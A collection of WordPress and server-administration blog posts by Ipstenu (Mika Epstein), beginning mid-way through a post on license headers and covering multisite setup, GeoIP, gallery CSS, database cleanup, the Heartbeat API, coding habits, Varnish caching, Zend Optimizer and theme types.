/*! My Awesome JS v1.0.0 | (c) 2015 John Doe | example.com/myawesomejs#license */
```
There’s an argument to be made about minification and how I shouldn’t have any headers in order to compress the code to the extreme, but let me show you the jQuery minified file’s header:
```
/*! jQuery v2.1.3 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */
```
It covers your license and your copyright information there in one go. It protects your interests and makes it plain for everyone to see what’s going on, how to get in touch with you for changes, and all sorts of awesome open-source things.
## Picking a license…
In the above example, I picked [CC0](https://creativecommons.org/publicdomain/zero/1.0/) for a reason.
That’s the ‘unlicense’ I think you should be using if you’re releasing code to the world and don’t want to be bothered by the hassles of any informal sort of license. Sadly, not declaring a real license can cause problems outside the United States. Here, we would interpret the license based on what the author intends, which is already a bit of a dangerous idea, and presume a license means exactly what it says, which makes them non-copyleft free software licenses and compatible with most other free software licenses. It may make it outright *in*compatible with commercial software. And worse, other countries have stringent views on the *copyright* aspects of these licenses.
Now that said, my other favorite ‘For god’s sake, just take my code’ license is the [WTFPL license](http://www.wtfpl.net/).
For me, if I want to release code that really is free and can and will be used by anyone, I pick the CC0 or WTFPL. It covers this for everyone, as far as I’ve been able to tell, even commercial.
The GNU have their own [license recommendations](https://www.gnu.org/licenses/license-recommendations.html) of course, and Jeff Atwood has a good post about [picking a license](http://blog.codinghorror.com/pick-a-license-any-license/) that explains how most of us feel about the headache. Of course, if you’re forking someone else’s code or building on their work, check the license they used to make sure you don’t violate it with your new license. Not all licenses are ‘backwards compatible.’
**Categories:** How To
**Tags:** coding, essay, open source
---
### [Subdomains and Subfolders, One Network](https://halfelf.org/2015/subdomains-subfolders-one-network/)
**Published:** January 21, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A multisite network with subdomains and subfolders? Sure. Why not!
**Content:**
For the longest time, if someone wanted to have example.com, foo.example.com *and* example.com/bar for their Network on Multisite, I’d tell them to use a Multinetwork Plugin like Networks+ ([which you can buy from e-Books by Ron and Andrea](https://www.e-junkie.com/ecom/gb.php?cl=50833&c=ib&aff=173062)) or [WP Multi Network](https://wordpress.org/plugins/wp-multi-network/) (free from JJJ).
But sometimes you don’t need multiple networks and the multiple admin sections. Sometimes you just want to have options. Thanks to the [work that started with the roadmap](https://make.wordpress.org/core/2013/10/06/potential-roadmap-for-multisite/
) you can have your cake and eat it too.
If you’ll recall, I detailed how you can [map a domain without a plugin on Multisite](https://halfelf.org/2014/mapping-domains-without-plugin/ "Mapping Domains Without a Plugin") these days. Guess what? You can also do this with subfolders and subdomains.
I did this with a subdomain install, since it made more sense to go that way.
WordPress is installed at multisite.dev and I have subsites of foo.multisite.dev and bar.multisite.dev
I then made a new site called baz.multisite.dev:
[](https://halfelf.org/wp-content/uploads/sites/2/2014/12/baz-begins.png)
Then I edited that from this:
[](https://halfelf.org/wp-content/uploads/sites/2/2014/12/editbaz-pre.png)
To this:
[](https://halfelf.org/wp-content/uploads/sites/2/2014/12/editbaz-post.png)
Be careful here! If you don’t put the trailing slash on the folder name, this *will not* work. And does this work? [Yes it does.](https://halfelf.org/wp-content/uploads/sites/2/2014/12/fullscreen-woks.png) Of course there is the small issue of how this looks on my list of domains:
[](https://halfelf.org/wp-content/uploads/sites/2/2014/12/domain-list.png)
I have two sites as ‘multisite.dev’ and I have two ‘foo’ sites (because you can also make foo.multisite.dev/zot if you want to). The problem is that the Sites page in the Network Admin has a check:
```
$blogname_columns = ( is_subdomain_install() ) ? __( 'Domain' ) : __( 'Path' );
```
This means the ‘domain’ of foo.multisite.dev/zot and foo.multisite.dev are (correctly) foo. I couldn’t see how to filter, so I made a quick MU Plugin:
```
class Add_Blog_Blogname {
public function __construct() {
add_filter( 'wpmu_blogs_columns', array( $this, 'blogname' ) );
add_action('manage_sites_custom_column', array( $this, 'blogname_columns' ) , 10, 3);
add_action('manage_blogs_custom_column', array( $this, 'blogname_columns' ) , 10, 3);
}
function blogname_columns($column, $blog_id) {
global $wpdb;
$blog_details = get_blog_details($blog_id);
if ( $column == 'my_blogname' ) {
echo $blog_details->blogname;
}
return $value;
}
// Add in a column header
function blogname($columns) {
$columns['my_blogname'] = __('True BlogName');
return $columns;
}
}
new Add_Blog_Blogname();
```
This tosses the True Blog Name to the end of the sites list. It’s not perfect, but it gets the job done.
**Categories:** How To
**Tags:** coding, multisite, plugins, wordpress
---
### [GeoIP Options](https://halfelf.org/2015/geoip/)
**Published:** January 19, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** When you have to know where people are from, you have to check their locations and there's no perfect way to do it.
**Content:**
Thanks to crazy thinks like the EU VAT laws, sometimes we really have to know where people are coming from when they visit our sites. The problem with this is … how?
There’s a cool extension for PHP called [GeoIP](http://php.net/manual/en/book.geoip.php), which I’ve finally installed on this server (along with my upgrade to PHP 5.5 and some other things, yes, still on Apache, shut up Otto). The extension comes from MaxMind, who also have a pure PHP version you can use. I’m not because the GeoLite2 databases are distributed under the [Creative Commons Attribution-ShareAlike 3.0 Unported License](http://creativecommons.org/licenses/by-sa/3.0/) and that means I can’t include it in a WordPress plugin.
But that really made me wonder why it was okay not to attribute Maxmind when I used it via Pecl. I mean, technically I should, right? But where and how? I ended up putting a note in my site footer, to say that the site used the Maxmind DBs, but I haven’t included any note about that in my plugin since the DBs are included in the plugin, just called if the functions are found. It’s on you to install and attribute as needed.
## Installing mod\_geoip
Installing this is simple, from a server admin perspective.
Since you can’t use the yum install on Apache 2.4, I got to use a [cPanel Custom Module](https://documentation.cpanel.net/display/EA/Custom+Modules), which meant running this:
```
wget http://easyapache.cpanel.net/optmods/custom_opt_mod-mod_geoip.tar.gz
tar -C /var/cpanel/easy/apache/custom_opt_mods -xzf custom_opt_mod-mod_geoip.tar.gz
```
And then I ran an EasyApache build. That was fine, I needed to do that anyway. Once that was done, I installed the [pecl for GeoIP](http://pecl.php.net/package/geoip):
```
pecl install geoip
```
Done. Optionally you can add it to apache in either your .htaccess or (better) a conf file for your whole server:
```
GeoIPEnable On
GeoIPDBFile /usr/local/share/GeoIP/GeoIP.dat
```
## What about upgrades?
Every month you don’t upgrade your geoIP DB, the more your site sucks. Someone quoted a statistic that every month you don’t upgrade the DB, the accuracy drops by 1.5%. I can’t validate that, but I’d believe it.
Upgrades are fairly painless, thanks to [geoipupdate](http://dev.maxmind.com/geoip/geoipupdate/#For_Free_GeoLite2_and_GeoLite_Legacy_Databases), though it doesn’t include the IPv6 files for some reason. Still, being able to toss this into crontab makes my life easier:
```
38 15 * * 5 /usr/local/bin/geoipupdate
```
Of course… I did notice that there’s a new [MaxMind DB Apache Module](http://maxmind.github.io/mod_maxminddb/).
If you’re on nginx, you can grab the [nginx geoip module](http://nginx.org/en/docs/http/ngx_http_geoip_module.html) too.
## What if I can’t install PHP modules?
By request, I’d already added in the [GeoIP2 PHP API](http://maxmind.github.io/GeoIP2-php/) to my wee little plugin. Not everyone can use mod\_geoip or mod\_maxminddb, after all, so it’s good to have options. And with *this* option, you have the question of how to update since geoipupdate won’t work anymore.
If you want to go hardcore, you can [Auto-update your GeoIP databases with Cron](https://waaave.com/tutorial/server/auto-update-your-geoip-databases-with-cron/) via that very robust script. Or if you’re simple like me, it’s a geoip.sh script in your ~/scripts/ folder:
```
#!/bin/sh
cd /home/username/public_html/wp-content/edd-pec-geoip
wget -q http://geolite.maxmind.com/download/geoip/database/GeoLite2-Country.mmdb.gz
gzip -d -f GeoLite2-Country.mmdb.gz
```
And then I have this in my crontab:
```
30 22 2 * * /home/username/scripts/geoip.sh
```
Which is a lot easier for a lot of people.
**Categories:** How To
**Tags:** coding, open source, plugins, servers, wordpress
---
### [Gallery Columns Zero](https://halfelf.org/2015/gallery-columns-zero/)
**Published:** January 26, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Making WordPress galleries behave in a different way. No columns, adaptive width.
**Content:**
I have a site where I love using galleries but I *hate* having to define their width. That’s something I hate about WordPress’ Gallery shortcode, you have to define a width, otherwise it’s all one column. Ugly ugly.
The way that WordPress handles these columns also sucks. It puts in clear breaks:
```
```
And frankly I hate that too.
But I don’t do that with this other software I use. In fact, I have it all nicely coded in to show all my images, and then toss one final clear break at the bottom, to … clear the breaks. And what that does for me is gives me an adaptive width gallery that will expand and contract with my content.
So how can I do that with WordPress?
The easy part is something I already do in EDD, and that’s to use a fake column value of zero: `gallery columns="0"`
That gives me a handy new column class: `gallery-columns-0`
And that is very easy for me to style, by overriding the width from 100% to auto (the `!important` is dreadful), and set up the padding I want.
```
/* Gallery */
.gallery-columns-0 dl.gallery-item {
width: auto!important;
padding: 0;
margin: 0 10px 0 0;
}
```
But what about the ‘break’ afterwards? If you only need to support IE 8 and up, then it’s as simple as this CSS:
```
.gallery-columns-0:after {
content: "";
display: table;
clear: both;
padding-bottom: 10px;
}
```
The padding on the bottom is to make it match my site, adjust as needed. I’m sure I could use the `post_gallery` filter hook and the same code from the gallery\_shortcode function but with my br modification, but 0.017% of people visit this site using IE 7 or less, and at that percentage, so much of the site will look terrible anyway.
The only real downside is that I have to manually enter the shortcode in text mode, since I can’t select ‘0’ as an option from the dropdown.
**Categories:** How To
**Tags:** coding, css, wordpress
---
### [Slow Site Troubleshooting: Database Edition](https://halfelf.org/2015/slow-site-db/)
**Published:** March 23, 2015
**Author:** Ipstenu (Mika Epstein)
**Content:**
So your WordPress is slow and you’ve already done the needful. You’ve checked your plugins and themes, you’ve put caching in place, you’ve checked for hacks, but it’s still slow, especially on the back end of WordPress?
It may be your database.
More specifically it may be your `wp_options` table. When your options table gets very, very large, it gets very, very slow. WordPress regularly queries that when you’re logged in, and it’s not indexed. DB indexes are used to locate data fast, without searching every row in the tables. This sounds sensible in many ways, but we don’t
Indexes are used to quickly locate data without having to search every row in a database table every time a database table is accessed. Indexes can be created using one or more columns of a database table, providing the basis for both rapid random lookups and efficient access of ordered records. We don’t use ’em in the options table for [a variety of reasons](https://core.trac.wordpress.org/ticket/24044), but mostly that it slows things down.
So in lieu of making indexes on your own, what can and should you do to debug things?
## Optimize Your Database
Got WP-CLI?
```
wp db optimize
```
Otherwise you can use phpMyAdmin to check tables with overhead and clean ’em up. I don’t use a plugin, I think asking WP to optimize itself is a little weird, but you certainly can. The point here is to keep it clean.
## Cache that Database!
Caching makes things better. Right? Kind of right. Mostly right. I use memcacheD (which I often typo as memecached) and that plus an object-cache.php file can cache your DB calls so they’re faster, which is great. Unless your `wp_optimize` table is too big.
Your cache has two major issues. First, there’s going to be data you don’t want to cache (like private, sensitive information), but also when your cache is too big, or it’s trying to save data bigger than it is, it can make things slower by trying to cache, crashing, and repeating that over and over. That gets worse when we talk about the temp data generated by \_transient entries in your database.
## Check The Size
Your options table really shouldn’t be large. My biggest, busiest, site is only using 142K. It’s a site that’s old (8+ years now), it’s had many iterations and themes and plugins. You’d think it would be filthy with leftover code, because we all know plugins don’t always clean up. Nope. I did rebuild the DB once, in 2009, when I rebuilt the entire site from scratch, but that was 5 years ago and a lot has changed since then with plugins and themes. The next biggest site, a Multisite Network, has a wp\_options of 100k. The biggest I’ve had is one of 500kb and that’s on a test site where I install and delete plugins daily.
You get the point I trust. These things should be small. At most, I’m going to have a lot of \_transient entries. But that’s actually issue here.
## Clean The Transients
There’s a story here about why [WordPress doesn’t really clean your transients](https://core.trac.wordpress.org/ticket/20316). Why? Well as the name implies, transient data is meant to be transient. It should be temporary data, saved and used briefly, and then it should go away. A lot of developers, as it happens, were storing it for long term caches. Like checking when the last upgrade ran, or when a cron kicked off. So while for one, glorious, month we did nuke them all on upgrade, now we only delete *expired* transients, which doesn’t help as much as it could. As Nacin said:
> This leaves much to be desired, but we don’t want a core update to be blamed for breaking a site that incorrectly assumes transients aren’t transient.
Basically people doing things wrong in a way we couldn’t adjust for.
There are plugins like [Delete Expired Transients](https://wordpress.org/plugins/delete-expired-transients/) and [Transient Cleaner](https://wordpress.org/plugins/artiss-transient-cleaner/) (which has the cutest header image). Those can be used to clean out your old transients.
If you want to go whole hog, there’s a command to clean the whole thing out with SQL:
```
DELETE FROM `wp_options` WHERE `option_name` LIKE ('%\_transient\_%')
```
Of course you want to run a db optimize afterwards to actually flush out the rows.
As always WP-CLI has features like `wp transient delete-expired` and `wp transient delete-all`.
## What if that doesn’t help?
Then you should check the Database to see exactly what the biggest value is. In this case, I ran `wp db cli` to leap into the database and then this:
```
mysql> SELECT option_name , length (option_value) AS blah FROM wp_options ORDER BY blah DESC LIMIT 5;
+--------------------------------------------------+----------+
| option_name | blah |
+--------------------------------------------------+----------+
| cron | 12194468 |
| _transient_feed_d117b5738fbd35bd8c0391cda1f2b5d9 | 223838 |
| _transient_feed_ac0b00fe65abe10e0c5b588f3ed8c7ca | 98184 |
| _transient_is_cached_instagram_images_self | 97315 |
| mytheme_storage | 18354 |
+--------------------------------------------------+----------+
10 rows in set (0.02 sec)
```
CRON is 12 megs. That would be the problem. Of course the only way I know of to fix that would be to totally trash cron and let it start over.
## Is That It?
When you see a ginormous `wp_options` table, what do you do?
**Categories:** How To
**Tags:** coding, database, support, wordpress
---
### [Heartbeat API](https://halfelf.org/2015/heartbeat-api/)
**Published:** June 22, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Making our sites run faster with a beating heart.
**Content:**
For the longest time I didn’t really get the heartbeat API. I get the very basics of it, but it took me a while to understand what it was really doing.
We’re used to interacting with our websites in a very one-directional way. I click a link, I go to a page. Heartbeat API is a bi-directional communication, which can best be translated as ‘shit happens without you having to click.’ The browser and the server are happily chatting to each other all the time, without me having to do anything.
If you’ve ever used Google Docs or MS Word or Apple Pages and noticed you don’t have to press ‘save’ all the time, that’s the idea of a Heartbeat API. It does the background things for you. That thing you should do (save often). In WordPress, the most obvious thing that Heartbeat does is it saves your posts as revisions.
That doesn’t stop neurotics like me from pressing ‘save’ all the time.
Of course, this can get a little expensive, checking all the time, so the Heartbeat API is smart. It only checks every 15 seconds by default (you can change this), and it only checks when you’re on a page doing something. If you just leave a page open, it slows down and, after an hour, turns off.
But besides saving, the Heartbeat API can share information between the systems. For example, it can ping out to Jetpack and check if it’s up and everything’s working, or if you have to reconnect your LinkedIn settings. And since it’s javascript based, it doesn’t reload the page.
You can use it to alert logged in users to new content. Imagine a post that suddenly had an overlay of ‘This post has been updated…’ Doing that requires two parts:
1. Hook into the send call and add your data
2. Hook into the receive call and show the data
[Pippin has a great heartbeat API example](https://pippinsplugins.com/using-the-wordpress-heartbeat-api/) but he also warns people:
> I’ve managed to bring down server servers by using the Heartbeat API on the frontend.
If you trigger things to be called too often, you can totally crash a server.
The Heartbeat API is a step towards making our sites really responsive and modular. Instead of statically checking via PHP if someone’s logged in and changing display based on that, Heartbeat can dynamically change on the fly. This would allow caching systems like Varnish or static-file caches like WP Super Cache, to save the cache and speed up your site while still being dynamic. It lessens the weight on `wp_ajax_` and makes things work with caches, rather than bypass them.
And that will make our sites beat faster for everyone.
**Categories:** How It Is
**Tags:** coding, essay, wordpress
---
### [Bad Code](https://halfelf.org/2015/bad-code/)
**Published:** July 13, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Code can be bad while still being totally right.
**Content:**
> You can pick your friends and you can pick your code, but you can’t pick your friends code.
I said that to Michelle as we were walking from WordCamp Minneapolis, kind of as a joke, but then she looked at me and said how appropriate that was.
Sometimes the people we like and rely on code things in ways we think are a little insane. Here are the things that make me sigh a lot when I look at the code. They’re not always bad, but they do make me wonder what people were thinking.
## Hidden
Someone wrote a plugin where the options were called via a `base64_decode()` from a compressed storage:
```
#default settings code
$options = '1VtPj-smEP8qKz2pt0qJs5vs7ju29_bQS08WtolD1zYp4M3mPfW7F2yDwWAPPK0q9erMj_nDzDAzEPSaHbLX7_x1n73-9HdPxdeK8GuD7nlDazp--cpfd9OP5sPz9EFR5T1r1in3O5v0Ripx2SDe28QXTOqLiKWWUuSXaoP6caYmXR4huV7-jN5JSTuA-mn6wgUp3-4x6z-HEdtanAIgyKohRqBx9ZcO3_Irw2fyEcFBETeowE1O3zFjpMIRG6JAgrT4ihmhMTuIOtTcpS48L-kmB_2l7...';
```
At the risk of sounding like the US government, there’s no reason to hide your public code. Knock it off. It’s public. Hide the service code if you must. Keep your serviceware code on your own data. But hiding code someone can download and decrypt? No, you’re shady.
## Nesting
The plugin basically was one thing: `add_filter('show_admin_bar', '__return_false');`
But the plugin setup was `/hide-admin-bar/hide-admin-bar.php` which included a file `/lib/bar-settings.php` which *in turn* included `/lib/false.php`
Three files. One line of code. Why? Why!?
## Inconsistant
I don’t mean tabs vs spaces. I mean with names. Like having `add_menu_myplugin()` and `myplugin_settings()` and then `sanitize_myplugin_value()` and finally `double_check_myplugin()` — Sure they all have ‘myplugin’ in there, but they don’t have any rhyme or reason to the names.
Names should be consistent and descriptive. A good function name should tell you what the function does.
## Echo
I see this one a lot. People using ‘echo’ on every line in a function call in order to output their results.
```
$my_count = $whatever->my_count;
echo 'Hello World';
echo 'This is a cool thing!';
echo 'This is even more cool. This is '.$my_count.' times cool';
echo 'Ain\'t this cool too? But I have to escape my apostrophes.';
```
Besides the fact that it looks ugly, it’s created more ‘data’ in your code. There are easier ways around this and ones that are more readable.
## What Do You Think Is Bad?
And remember, we’re not talking about code that’s outright wrong, we’re talking about the things that work and are right, but make you cry “Why!?!” like Nancy Kerrigan.
**Categories:** How It Is
**Tags:** coding, design
---
### [Varnish Cache and Cache-Control](https://halfelf.org/2015/varnish-cache-cache-control/)
**Published:** July 1, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Cache what cache can and not what it can't.
**Content:**
In our quest for speed, making websites faster relies on telling browsers when content is new and when it’s not, allowing them to only download the new stuff. At their heart, Cache Headers are what tell the browser how long to cache content. There’s a special header called Cache-Control which allows each resource to decide it’s own policy, such as who can cache the response, when, where, and for how long. By default, they time we set for the cache to expire is how old a visitor’s copy can be before it needs a refresh.
A lot of the time, I see people setting Cache-Control to none and wondering why their site is slow.
Since I spend a lot of time working on [DreamPress](https://www.dreamhost.com/hosting/wordpress/), which uses Varnish, I do a lot of diagnostics on people with slow sites. One of my internal scripts checks for Cache-Control so I can explain to people that setting it to none will tell Varnish (and browsers) literally not to cache the content.
The way it works is that they actually set things to ‘no-cache’ or ‘no-store.’ The first one says that the content can actually be cached, but it’s going to check and make sure the resources haven’t changed. It’s not really ‘no-cache’ but ‘check-cache.’ If nothing’s changed, there’s no new download of content, which is good, but it’s still not caching.
On the other hand, ‘no-store’ is really what we think about when we say not to cache. That tells the browser and all intermediate caches that every time someone wants this resource, download it from the server. Each. Time.
What does this have to do with Varnish? Well here’s the [Varnish doc on Cache-Control](https://www.varnish-software.com/static/book/HTTP.html#cache-control):
> no-store: The response body must not be stored by any cache mechanism;
>
> no-cache: Authorizes a cache mechanism to store the response in its cache but it must not reuse it without validating it with the origin server first. In order to avoid any confusion with this argument think of it as a “store-but-do-no-serve-from-cache-without-revalidation” instruction.
Since Cache-Control always overrides Expires, setting things not to cache or store means you’re slowing down your site. Related to this, if you set your Max-Age to 0, then you’re telling visitors that the page’s cache is only valid for 0 seconds…
And some of you just said “Oh.”
Out of the box, WordPress actually doesn’t set these things poorly. That generally means if your site kicks out those horrible messages, it’s a plugin or a theme or, worst of all, a rogue Javascript that’s doing it. The last one is nigh-impossible to sort out. I’ve only been able to do it when I disable plugins and narrow down *what* does it. The problem is that just searching for ‘Cache-control’ can come up short when things are stashed in Javascript.
But there’s some kind of cool news. You can tell Wordpress to override and not send those headers. I’ve not had great success with using this when it’s a script being an idiot, but it works well for most plugins and themes that seem to think not caching is the way to go.
From [StackExchange:](http://wordpress.stackexchange.com/questions/167128/prevent-wordpress-from-sending-cache-control-http-header)
```
function varnish_safe_http_headers() {
header( 'X-UA-Compatible: IE=edge,chrome=1' );
session_cache_limiter('');
header("Cache-Control: public, s-maxage=120");
if( !session_id() )
{
session_start();
}
}
add_action( 'send_headers', 'varnish_safe_http_headers' );
```
And yes, it works on DreamPress.
**Categories:** How It Is
**Tags:** cache, coding, wordpress
---
### [Trading APC for Zend](https://halfelf.org/2013/trading-apc-for-zend/)
**Published:** April 2, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** When the big dogs switch to Zend, it's time for the little dogs to do it too. Gain some speed and style with Zend Optimizer+, coming soon with PHP 5.5
**Content:**
The last thing I did before Passover was a totally unannounced, not telling anyone, surprise flip from my old standby, [APC](http://www.php.net/manual/en/book.apc.php), to the new hotness, Zend.
As of PHP 5.5, [Zend Optimizer+ will be included](https://wiki.php.net/rfc/optimizerplus). [Back in 2009](https://halfelf.org/2009/youre-not-the-boss-of-me/), I decided to use APC for a couple reasons: It was made by the PHP blokes and it worked well with mod\_php and MediaWiki. Since PHP decided to change, I joined in. Why the change? Zend went open source.
## Installing Zend
I grabbed the latest tagged version from [the official GitHub repository](https://github.com/zend-dev/ZendOptimizerPlus), since I don’t cotton to using bleeding edge all the time.
```
$ wget https://github.com/zend-dev/ZendOptimizerPlus/archive/v7.0.1.zip
$ unzip v7.0.1
$ cd ZendOptimizerPlus-7.0.1/
$ phpize
$ ./configure
$ make
$ make install
```
That gave me the final output of: `Installing shared extensions: /usr/local/lib/php/extensions/no-debug-non-zts-20100525/` You want to hang on to that path, because we’re going to edit php.ini and put this in *below* the line for IonCube, if you have that installed:
```
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20100525/opcache.so
```
Replace the path with your own.
I also followed their advice on the recommended config and put this in my php.ini as well:
```
[Zend]
opcache.memory_consumption=128
opcache.interned_strings_buffer=8
opcache.max_accelerated_files=4000
opcache.revalidate_freq=60
opcache.fast_shutdown=1
opcache.enable_cli=1
```
Since I had APC there before, I removed all those lines while I was at it. Restarted PHP (well, httpd in my case, I like a clean slate) and I was done.
## Cleanup
As I mentioned before, I removed the APC lines while I was in the php.ini and, since I installed it via a downloaded pecl, I just removed the apc.so file from the same folder where opcache.so was installed.
On WordPress, I also removed the [APC Object Cache Backend](http://wordpress.org/extend/plugins/apc/) plugin from the two sites that had it, since I’m not using APC. There doesn’t appear to be an equivilent for Zend, but I may or may not need that.
For MediaWiki, I had to edit LocalSettings.php and remove `$wgMainCacheType = CACHE_ACCEL;` as that’s no longer being used. Then I went into my maintenance folder and ran `php rebuildLocalisationCache.php --force` to flush everything and my errors went away. MediaWiki has a [pretty different cache method](http://www.mediawiki.org/wiki/Manual:$wgMainCacheType) than other apps, and for yonks flat out didn’t work with Zend. It does now, and there seemed to be no speed loss without an OpCode cache.
None of my other apps seemed to care, so I moved on to see how this all played out.
## Results
Much like the [ManageWP guys](https://managewp.com/boost-wordpress-performance-zend-optimizer), I saw an immediate drop in memory and CPU. And I’m still on PHP 5.4! There was an initial spike while I was mucking around, which I expected, and then everything dropped. Some things did not so much drop as level out and change my ‘spike’ range. Normally my load average for 1 minute would spike at 0.8 or so every hour. Now it’s spiking at 0.5, give or take, which is a success in my book.
[](https://halfelf.org/wp-content/uploads/sites/2/2013/04/my-load.png)Can you guess when Zend went on?Before someone points out that, hey, this is hardly a real check, I want to note that I was having one of those 200% traffic days. Actually I was having a few of them in a row, and I know it’s going to go up from there. Here’s a quick look at my traffic:
[](https://halfelf.org/wp-content/uploads/sites/2/2013/04/traffic.png) [](https://halfelf.org/wp-content/uploads/sites/2/2013/04/ga-traffic.png)
The real test will be tonight and tomorrow, though, as I push some large data (videos) on a popular topic, but frankly, this is looking good.
The benchmarks used in the ticket to include Zend in PHP (why are they using WP 2? I have no idea) were startling compared to normal PHP. Compared to APC it’s a minimal kick in the pants, but the assurance of bundling to come speaks for itself. This is where PHP is going.
[](https://halfelf.org/wp-content/uploads/sites/2/2013/04/benchmarks.png)Credit: [Dimitry](https://wiki.php.net/rfc/optimizerplus)I’m not yet on PHP 5.5, but I’ve already found that 5.4 is a notable kick to my speed. Zend took me from a B to an A in PageSpeed and YSlow (when you tell YSlow that I’m a small blog and not Amazon). Also it ‘feels’ faster, which is totally subjective, but still a valid remark. The site feels fast, it doesn’t hang (yet) and it didn’t crash over Passover!
Former bbPress regular, \_ck\_, went and wrote a neat little [Control Panel for Zend Optimizer+](http://ckon.wordpress.com/2013/02/14/free-control-panel-for-zend-optimizer-plus/) which I snagged and tossed into my secret bin for poking at later.
Since I’m the Zend Rookie, anyone have any tips and tricks for configuring it to make it sing? Remember, I don’t *just* use WordPress on this box!
**Categories:** How To
**Tags:** cache, open source, servers, speed
---
### [Listing Everything on DreamObjects](https://halfelf.org/2015/listing-everything-dreamobjects/)
**Published:** January 12, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Show all your bucket's items as a list? Not too hard.
**Content:**
I was asked about listing everything in a DreamObjects bucket, which is practically the same thing as listing everything in an Amazon S3 bucket, just on a different server.
This isn’t as easy as we’d like, because while there is a nice [Amazon S3 PHP class](https://github.com/tpyo/amazon-s3-php-class) we can use (and I forked it and flipped it to be a [DreamObjects PHP Class](https://github.com/Ipstenu/dreamobjets-php-class/)), telling people they have to download the S3.php file and then make this separate PHP file is a little annoying.
```
//include the S3 class
if (!class_exists('S3'))require_once('S3.php');
//AWS access info
if (!defined('awsAccessKey')) define('awsAccessKey', 'MYACCESSKEY');
if (!defined('awsSecretKey')) define('awsSecretKey', 'MYSECRETKEY');
//Bucket Info
$bucketName = 'MYBUCKETNAME';
/* STOP EDITING HERE */
//instantiate the class
$s3 = new S3(awsAccessKey, awsSecretKey);
// Get the contents of our bucket
$bucket_contents = $s3->getBucket($bucketName);
foreach ($bucket_contents as $file){
$fname = $file['name'];
$furl = 'http://'.$bucketName.'.objects.dreamhost.com/'.$fname;
//output a link to the file
echo '$fname';
}
```
I know, it’s not *too* terribly complicated, but it is annoying to make two files for that, and my [DreamObjects listing page](https://ipstenu.org/dreamobjects/) is very barebones. You could style it with CSS, make it show the image, make it show in a grid, or even show the file size and have it pop up in a new window.
It does highlight one of my issues with CEPH (AWS whatever) storage, and that it’s still not *quite* friendly enough. It dumps us back to the old days where we FTP’d our images up to a server and then manually crafted our links. Certainly there are plugins for WordPress that can help us with that, but in general it requires knowing code (or where to get the code) in order to display content.
**Categories:** How To
**Tags:** cloud, coding, dreamhost, open source
---
### [A Theme By Any Other Name](https://halfelf.org/2012/what-is-a-theme/)
**Published:** November 28, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Delving further into themes and how to segregate types of themes. You didn't know they had types? now you do.
**Content:**
[](https://halfelf.org/wp-content/uploads/sites/2/2012/11/roserainbow.jpeg)When I redesigned my sites [earlier this year](https://halfelf.org/2012/new-car-smell-1/) I struggled with some concepts that later drove me [away from child themes](https://halfelf.org/2012/no-children-nessecary/) and into the arms of custom plugins. The issue at heart is that the term ‘theme’ is used in far too broad and encompassing a manner, which confuses people when they find out there are different *types* of themes. And no, I don’t mean responsive vs static vs mobile. I touched on this earlier in the year when I reviewed the very concept of [managed themes](https://halfelf.org/2012/managed-themes/), but apparently I didn’t do it well enough.
After some talks on WP-Hackers, I’ve got a better list.
- **Theme** – The traditional theme.
- Child/Parent Themes
- **Theme Framework** – Can be used as a traditional theme, normally used as a parent.
- **Starter Theme** – Never used as a standalone theme, only used to build themes.
- **Managed Theme** – A theme that acts like a framework and a child at the same time.
So let’s look at them in order.
## Theme
*Example: TwentyEleven, Buttercream, pretty much anything in wordpress.org*
This is the most basic, simple, normal theme in the world. It works right out of the box. You can make a child if you have to, but most people don’t. Themes may or may not be built off of a Theme Framework, but they can all be used as is, no alterations needed.
## Child / Parent Themes
The short version here is that child themes are built off a parent. A parent can be any of the themes here (Theme, Managed, or Framework). A child theme can never be a ‘theme’ however, it can never stand on it’s own. And there are some themes that don’t support children at all. The parent/child relationship muddies the waters quite a bit when it comes to understanding what type of theme you have, but I would go with the basic rule of “If a theme requires another theme to be installed separately, it’s a child theme.”
## Theme Framework
*Examples: Hybrid, Genesis*
These themes are crazy robust. It’s like taking a normal theme, giving it steroids, and then handing you toolkits to expand it. Theme Frameworks can be used as a theme themselves, but often are treated as either Starters or Managed (see below). Frameworks come with a bunch of new, extra functions, along with documentation. Oh yes, these babies are documented so the theme guru can carry on, or the newbie can learn all about how themes work.
There are two types of Frameworks (and this is where people will disagree with me a lot).
### Starter Theme
*Example: \_s, Bootstrap, Hybrid*
These are used to build a parent theme off of, and cannot stand on their own as a theme (they’re skeletons). No one actually uses the theme as a theme on it’s own without forking and adding in their bells and whistles. These are turned into full-blown themes, and use the normal parent/child relationships from there out (which is why they’re a subset of frameworks). The starter theme itself is not a stand-alone theme, however, and the person who builds their parent theme off these ‘framework’ is responsible for updating their theme when the framework is updated.
### Managed Theme
*Example: Genesis, Thesis*
A managed theme is usually built on a framework, but unlike a starter theme, these can be used as is if you want. The real difference is not that, however, but that everything that you should be doing is within the WP Dashboard. All CSS tweaks, and even functions, can be added there-in, and not the functions.php files. Sometimes these are just parent themes that you don’t make children off of, ever, and others are children themselves of a framework. The best ones have a way to export your theme settings. To make things easier, you’ll find a lot of plugins that do what most people want, and they never need to edit code.
## Drawing The Lines
What is a theme and what is a plugin, then? I was trying to explain this to a non-techy the other day, and jokingly said “You know how Barbie has all those clothes you can put on her, like the ski outfit? That’s a theme. A plugin is the Barbie Camper.” As horrific as the metaphor is, it’s not inaccurate. The theme changes the design, the plugin changes the function. Many theme developers hate putting code like Custom Post Types into their themes, because they feel that code should be separate from theme, and you should be able to keep your content, no matter what theme you’re using.
For a long time I never used ‘starter’ as a theme designation, because to me the word ‘framework’ meant ‘a frame I build off of.’ With the conversations I had on wp-hacker in mind, I have reclassified themes into two types. Themes and Theme Frameworks. That’s it. That’s all you get. And yes, that means I think a Starter Theme is a framework. Look, Genesis, Hybrid-Core, and Bootstrap are all themes that someone uses to build other themes. They’re all frames that people can use to paint their own masterpiece.
